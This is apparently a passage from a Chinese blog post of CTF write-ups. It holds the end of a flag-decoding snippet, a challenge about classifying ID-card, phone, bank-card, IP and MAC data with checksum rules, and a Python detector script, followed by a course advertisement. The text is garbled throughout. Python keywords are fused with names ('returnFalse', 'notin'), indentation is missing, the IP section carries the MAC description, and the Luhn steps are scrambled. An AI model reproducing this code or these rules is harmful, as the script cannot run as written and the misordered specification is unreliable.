flag += String.fromCharCode(charCode);
}
console.log("Flag:", flag);
// 也显示每个字符对应的ASCII值验证
console.log("字符解码验证:");
for (let i = 0; i < Math.min(nums.length, 20); i++) {
const charCode = Math.round(nums[i]) & 0xFF;
const char = String.fromCharCode(charCode);
console.log(`${nums[i]} -> ${charCode} -> '${char}'`);
}
dataIdSort
题目内容:现在有一个数据文件 data.txt,现在需要作为数据分析人员的你对该数据文件进行分析,并进行数据识别与分类。该文件里有身份证号(idcard)、手机号(phone)、银行卡号(bankcard)、IP地址(ip)、MAC地址(mac) 这五类敏感信息,需要你参考附件中《个人信息数据规范文档.pdf》中说明的要求识别出这五类敏感数据,并对其进行数据分类。最终将进行了数据识别与分类后的内容保存到 csv 文件中(文件编码 utf-8),并将该文件上传至该题的校验平台(在该校验平台里可以下载该题的示例文件 example.csv,可作为该题的格式参考),校验达标即可拿到 flag。 身份证号(idcard)
身份证号的⻓度为 18 位,分别是六位数字地址码、⼋位数字出⽣⽇期码、三位数字顺序码和最后⼀位数字校验码。
其中身份证号的倒数第⼆位⽤于表示性别,奇数代表男性,偶数代表⼥性。为了防⽌随机⽣成的身份证号码和现实世界的身份证号码存在联系,将地址码进⾏随机⽣成。身份证号码的最后⼀位是校验码,是通过对前17位的加权和计算得到。身份证号校验码的计算⽅法如下:
1. 将身份证号码前17位数字分别乘以不同的系数。从第⼀位到第⼗七位的系数分别是: 7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2 。
2. 将这 17 位数字和系数相乘的结果相加。
3. 将相加的结果除以 11,得到余数。
4. 根据余数,通过查表得到最后⼀位校验码,对应关系如下:
余数 0 1 2 3 4 5 6 7 8 9 10
校验码 1 0 X 9 8 7 6 5 4 3 2
⼿机号码(phone)
⼿机号码为 11 位 10 进制数字字符串。⼿机号的前 3 位号段范围限定在如下指定的集合中:
134, 135, 136, 137, 138, 139, 147, 148, 150, 151, 152, 157, 158, 159, 172, 178,182, 183, 184, 187, 188, 195, 198, 130, 131, 132, 140, 145, 146, 155, 156, 166,167, 171, 175, 176, 185, 186, 196, 133, 149, 153, 173, 174, 177, 180, 181, 189,190, 191, 193, 199
银⾏卡号(bankcard)
银⾏卡号为 16-19 位数字字符串,使⽤ Luhn 算法进⾏校验。常⻅银⾏卡前缀包括:
622848, 622700, 621700, 622262, 622188, 622200, 622568, 622609, 622908, 622518
622848, 622700, 621700, 622262, 622188, 622200, 622568, 622609, 622908, 622518 Luhn 算法校验⽅法:
- 从右到左,对偶数位数字乘以
- 奇数位数字不变2,如果偶数位数字乘以2的结果⼤于9,则将结果的各位数字相加
- 将所有数字相加
- 如果总和能被10整除,则校验通过 IP地址(ip)
MAC地址为 6 个⽤冒号分隔的⼗六进制数组成,每个数为 2 位⼗六进制数(00-FF)。
格式:xx:xx:xx:xx:xx:xx
示例:00:a0:c9:14:c8:29, ff:ff:ff:ff:ff:ff
数据上传规范 在数据⽂件 data.txt 中,各类敏感数据可能做了⼀定的变形或包含混淆数据:
# 身份证号格式,可能会进⾏空格分隔或横线分隔
794688197610150966
794688 19761015 0966
794688-19761015-0966
# ⼿机号格式,可能会进⾏空格分隔或横线分隔,可能会带有“+86 ”或“(+86)”前缀
19930800372
199 3080 0372
199-3080-0372
+86 19930800372
+86 199 3080 0372
+86 199-3080-0372
(+86)19930800372
(+86)199 3080 0372
(+86)199-3080-0372
# 银⾏卡格式,⽆变形
6228480402564890018
# IP 地址格式,⽆变形
192.168.10.1
# MAC 地址格式,⽆变形
00:a0:c9:14:c8:29
需要从数据⽂件 data.txt 中找到符合规范的敏感数据,最终将找到的有效敏感数据进⾏分类后保存到 csv ⽂件中,⽂件编码为 utf-8,列名为 category,value。 注意:敏感数据需保留原格式,例如在数据⽂件 data.txt ⾥的是 (+86)199 9591 1793 ,则不能转换成 19995911793 。 最终将进⾏了数据识别与分类后的内容保存到 csv ⽂件中(⽂件编码 utf-8),并将该⽂件上传⾄该题的校验平台(在该校验平台⾥可以下载该题的示例⽂件 example.csv,可作为该题的格式参考),校验达标即可拿到 flag。 格式参考:
category,value
idcard,410122-19800821-6567
idcard,42011619680112441X
idcard,540124 20080916 4682
phone,+86 19954724438
phone,+86 149 9061 4875
phone,157 6118 9206
phone,(+86)199 9591 1793
phone,(+86)18227196365
phone,13703177597
bankcard,6226093792962631
bankcard,622568126608942080
ip,10.51.130.7
mac,38:bb:b1:a2:dd:74
让ai编写脚本处理文件:
import csv
import re # 调整导入顺序,保持库引用完整性
classSensitiveInfoDetector:
"""敏感信息检测器,负责文本中敏感数据的识别与验证"""
# 首先定义辅助工具方法,再定义核心验证逻辑
def_get_sensitive_patterns(self):
"""获取各类敏感数据的正则匹配模式库"""
return {
'ip': [
r'(?<!\d)\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(?!\d)',
],
'mac': [
r'[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}',
],
'phone': [
r'\(\+86\)\d{3}\s+\d{4}\s+\d{4}',
r'\(\+86\)\d{3}-\d{4}-\d{4}',
r'\(\+86\)\d{11}',
r'\+86\s+\d{3}\s+\d{4}\s+\d{4}',
r'\+86\s+\d{3}-\d{4}-\d{4}',
r'\+86\s+\d{11}',
r'(?<!\d)\d{3}\s+\d{4}\s+\d{4}(?!\d)',
r'(?<!\d)\d{3}-\d{4}-\d{4}(?!\d)',
r'(?<!\d)\d{11}(?!\d)',
],
'idcard': [
r'(?<!\d)\d{6}-\d{8}-\d{4}(?!\d)',
r'(?<!\d)\d{6}\s+\d{8}\s+\d{4}(?!\d)',
r'(?<!\d)\d{18}(?!\d)',
r'(?<!\d)\d{17}[Xx](?!\d)',
r'(?<!\d)\d{15}(?!\d)',
],
'bankcard': [
r'(?<!\d)\d{16,19}(?!\d)',
],
}
def_remove_idcard_separators(self, id_text):
"""清理身份证号中的分隔符(空格或短横线),返回纯数字串或None"""
# 先处理空格分隔的情况
if' 'in id_text:
split_parts = id_text.split(' ')
# 验证分隔后的格式是否符合 6-8-4 结构
if len(split_parts) == 3and len(split_parts[0]) == 6and len(split_parts[1]) == 8and len(split_parts[2]) == 4:
return''.join(split_parts)
returnNone
# 再处理短横线分隔的情况
elif'-'in id_text:
split_parts = id_text.split('-')
if len(split_parts) == 3and len(split_parts[0]) == 6and len(split_parts[1]) == 8and len(split_parts[2]) == 4:
return''.join(split_parts)
returnNone
# 无分隔符则直接返回原字符串
else:
return id_text
def_verify_birth_date(self, year_val=None, month_val=None, day_val=None, min_year=0, max_year=9999):
"""验证出生日期的合法性,支持15位(无年份)和18位(有年份)身份证场景"""
try:
# 若有年份参数,先验证年份范围
if year_val isnotNone:
ifnot (min_year <= year_val <= max_year):
returnFalse
# 验证月份和日期的基础合法性
return1 <= month_val <= 12and1 <= day_val <= 31
# 任何异常情况均视为非法日期
except Exception:
returnFalse
def_deduplicate_matches(self, match_list):
"""对匹配结果去重(避免文本重叠),并按匹配位置排序"""
# 先按匹配起始位置排序
sorted_matches = sorted(match_list, key=lambda x: x[2])
final_result = []
used_positions = set() # 记录已使用的文本位置范围
for data_type, value, start_idx in sorted_matches:
end_idx = start_idx + len(value)
# 检查当前匹配是否与已保留的匹配重叠
overlap_flag = False
for used_start, used_end in used_positions:
ifnot (end_idx <= used_start or start_idx >= used_end):
overlap_flag = True
break
# 无重叠则保留该匹配
ifnot overlap_flag:
final_result.append((data_type, value))
used_positions.add((start_idx, end_idx))
return final_result
# 再定义各类数据的核心验证方法
defcheckbankcard(self, card_num):
"""借助Luhn算法(校验和算法)来判断银行卡号是否合法"""
# 先做基础格式校验:卡号必须全是数字,而且长度得在16到19位之间(常见银行卡号长度范围)
ifnot card_num.isdigit() or len(card_num) < 16or len(card_num) > 19:
returnFalse
sum_total = 0
# 把卡号倒过来,这样方便按Luhn算法的规则从右往左处理(原卡号的右侧对应反转后的左侧)
reversed_card_num = card_num[::-1]
# 遍历反转后的卡号,同时记录每个数字的位置索引
for index, char_digit in enumerate(reversed_card_num):
# 把字符形式的数字转成整数
current_num = int(char_digit)
# Luhn算法规则:反转后索引为奇数的位置(对应原卡号从右数第2位、第4位等),数字要乘2
if index % 2 == 1:
current_num *= 2
# 要是乘2后结果大于9(比如14、18),就减去9(等价于把数字的个位和十位相加,14→1+4=5=14-9)
if current_num > 9:
current_num -= 9
# 把处理后的数字累加到总和里
sum_total += current_num
# Luhn算法核心判断:所有数字处理后的总和能被10整除,说明卡号校验通过
return sum_total % 10 == 0
defcheckip(self, ip_text):
"""校验IPv4地址是否符合规范(仅验证IPv4,不包含IPv6)"""
# 按小数点把IP地址拆分成四个部分(IPv4标准格式就是四段数字用小数点分隔)
ip_parts = ip_text.split('.')
# 先看拆分后是不是正好4段,不是的话直接判定不合法(比如3段或5段都不符合IPv4格式)
if len(ip_parts) != 4:
returnFalse
# 逐个检查拆分后的每一段数字是否符合要求
for part in ip_parts:
try:
# 把每一段转成整数(IP段必须是数字,不能有字母或符号)
part_num = int(part)
# IPv4的每一段数值范围必须是0到255之间(比如256或-1都不合法)
if part_num < 0or part_num > 255:
returnFalse
# 要是转整数失败(比如段里有字母、空格等非数字内容),直接判定不合法
except ValueError:
returnFalse
# 所有段都符合要求,说明是合法的IPv4地址
returnTrue
defcheckmac(self, mac_text):
"""校验MAC地址是否合法,仅支持冒号分隔的标准格式"""
# 先按冒号把MAC地址拆分成多个片段
split_mac_parts = mac_text.split(':')
# 标准MAC地址得是6个片段组成的,要是拆分后数量不对,直接判定不合法
if len(split_mac_parts) != 6:
returnFalse
# 逐个检查每个片段是否符合要求
for single_part in split_mac_parts:
# 每个片段必须是2个字符,多一个或少一个都不行
if len(single_part) != 2:
returnFalse
# MAC地址的片段得是十六进制字符(0-9、a-f、A-F),这里尝试转成十六进制整数来验证
try:
# int函数第二个参数传16,意思是按十六进制解析这个字符串
int(single_part, 16)
# 要是解析失败(比如有非十六进制字符),就会抛ValueError,这时候判定不合法
except ValueError:
returnFalse
# 所有检查都通过了,说明是合法的MAC地址
returnTrue
defcheckphone(self, phone_text):
"""校验手机号码是否合法,支持包含+86国家码的格式"""
# 先把手机号里所有非数字的字符都过滤掉,只保留纯数字部分
only_digits = re.sub(r'[^\d]', '', phone_text)
# 要是过滤后得到13位数字,而且前两位是"86"(也就是中国国家码),就把这两位去掉
if len(only_digits) == 13and only_digits.startswith('86'):
only_digits = only_digits[2:]
# 手机号的基础规则得满足:必须是11位数字,而且第一位得是1(这是国内手机号的固定开头)
if len(only_digits) != 11ornot only_digits.startswith('1'):
returnFalse
# 整理国内所有合法的手机号前三位号段,这些都是运营商分配的有效号段
legal_prefixes = {
'134', '135', '136', '137', '138', '139', '147', '148', '150', '151',
'152', '157', '158', '159', '172', '178', '182', '183', '184', '187',
'188', '195', '198', '130', '131', '132', '140', '145', '146', '155',
'156', '166', '167', '171', '175', '176', '185', '186', '196', '133',
'149', '153', '173', '174', '177', '180', '181', '189', '190', '191',
'193', '199'
}
# 取手机号的前三位,看是否在合法号段里,在的话就是合法手机号,否则不合法
return only_digits[:3] in legal_prefixes
defcheck_idcard(self, id_text):
"""验证身份证号的合法性(支持15位和18位)"""
# 先清理分隔符,获取纯数字串
clean_id = self._remove_idcard_separators(id_text)
ifnot clean_id:
returnFalse
# 处理18位身份证
if len(clean_id) == 18:
# 前17位必须为数字
ifnot clean_id[:17].isdigit():
returnFalse
# 验证出生日期(18位身份证含完整年份)
birth_year = int(clean_id[6:10])
birth_month = int(clean_id[10:12])
birth_day = int(clean_id[12:14])
ifnot self._verify_birth_date(birth_year, birth_month, birth_day, 1900, 2100):
returnFalse
# 验证校验码(18位身份证特有)
weight_coeffs = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_code_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
total_calc = sum(int(clean_id[i]) * weight_coeffs[i] for i in range(17))
expected_code = check_code_map[total_calc % 11]
return clean_id[-1].upper() == expected_code
# 处理15位身份证
elif len(clean_id) == 15:
# 15位身份证必须全为数字
ifnot clean_id.isdigit():
returnFalse
# 验证出生日期(15位身份证无完整年份,仅验证月日)
birth_month = int(clean_id[8:10])
birth_day = int(clean_id[10:12])
return self._verify_birth_date(None, birth_month, birth_day)
# 长度既不是15也不是18,直接非法
returnFalse
# 最后定义对外核心扫描方法
defdetect_sensitive_info(self, text_content):
"""扫描文本内容,返回合法的敏感信息列表(去重后)"""
pattern_lib = self._get_sensitive_patterns()
raw_matches = [] # 存储原始匹配结果(含位置信息)
# 遍历每种敏感数据类型,执行匹配和验证
for data_type, pattern_list in pattern_lib.items():
# 根据数据类型确定对应的验证方法
if data_type == 'ip':
validator = self.checkip
elif data_type == 'mac':
validator = self.checkmac
elif data_type == 'phone':
validator = self.checkphone
elif data_type == 'idcard':
validator = self.check_idcard
elif data_type == 'bankcard':
validator = self.checkbankcard
else:
continue# 无对应验证方法则跳过
# 遍历该类型的所有正则模式,执行匹配
for pattern in pattern_list:
for match_obj in re.finditer(pattern, text_content):
match_value = match_obj.group()
# 验证通过才加入原始结果
if validator(match_value):
raw_matches.append((data_type, match_value, match_obj.start()))
# 对原始结果去重并返回
return self._deduplicate_matches(raw_matches)
defhandle_text_file(input_file_path, output_file_path):
"""处理文本文件:提取敏感信息并保存到CSV(去重后)"""
# 初始化敏感信息检测器
detector = SensitiveInfoDetector()
sensitive_records = [] # 存储所有敏感信息记录(含行号)
line_total = 0# 统计总处理行数
# 第一步:读取输入文件,提取敏感信息
with open(input_file_path, 'r', encoding='utf-8') as input_file:
# 遍历每一行文本
for line_number, line_content in enumerate(input_file, 1):
line_total += 1
# 扫描当前行的敏感信息
found_sensitive = detector.detect_sensitive_info(line_content)
# 记录每条敏感信息(含行号)
for info_type, info_value in found_sensitive:
sensitive_records.append({
'line': line_number,
'type': info_type,
'value': info_value
})
# 第二步:对敏感信息去重(按类型+值去重)
unique_sensitive = {}
for record in sensitive_records:
# 用(类型+值)作为去重键
unique_key = (record['type'], record['value'])
if unique_key notin unique_sensitive:
unique_sensitive[unique_key] = record
# 第三步:将去重后的结果写入CSV文件
with open(output_file_path, 'w', encoding='utf-8', newline='') as output_file:
# 定义CSV列名(与原输出保持一致)
csv_fieldnames = ['category', 'value']
csv_writer = csv.DictWriter(output_file, fieldnames=csv_fieldnames)
# 写入表头和数据
csv_writer.writeheader()
for record in unique_sensitive.values():
csv_writer.writerow({
'category': record['type'],
'value': record['value']
})
# 程序入口
if __name__ == '__main__':
# 定义输入输出文件路径(与原代码保持一致)
input_filename = 'data.txt'
output_filename = 'output3.csv'
# 执行文件处理
handle_text_file(input_filename, output_filename)
文章来自网上,侵权请联系博主
互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。


1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

更多推荐


所有评论(0)